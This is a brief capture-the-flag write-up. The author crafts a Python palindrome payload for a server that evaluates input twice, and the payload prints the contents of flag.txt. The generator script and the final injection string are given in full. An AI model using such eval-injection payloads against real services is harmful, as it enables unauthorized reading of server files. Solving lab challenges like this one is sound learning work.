After spending way too much time googleing how to write a palindrom in python without using `#` I found [this](https://codegolf.stackexchange.com/a/2974) answer on codegolf: 
```python"a\";w=]1-::[w trinp;)(tupni_war=w;";w=raw_input();print w[::-1]==w;"\a"```
After this discovery constructing the palindrom was pretty straight. The string send to the server is evaluated twice, working backward we first want to print out the content of `flag.txt`
```pythonprint(list(open("flag.txt")))```
Now all we had to do was to encapsulate it in another print statement and make it a palindrom with the template from above.
```pythoncode = '''print('print(list(open(\\'flag.txt\\')))');"\\a'''code = '"' + code[::-1] + ';";' + code + '"'print(code)# "a\";)')))'\txt.galf'\(nepo(tsil(tnirp'(tnirp;";print('print(list(open(\'flag.txt\')))');"\a"```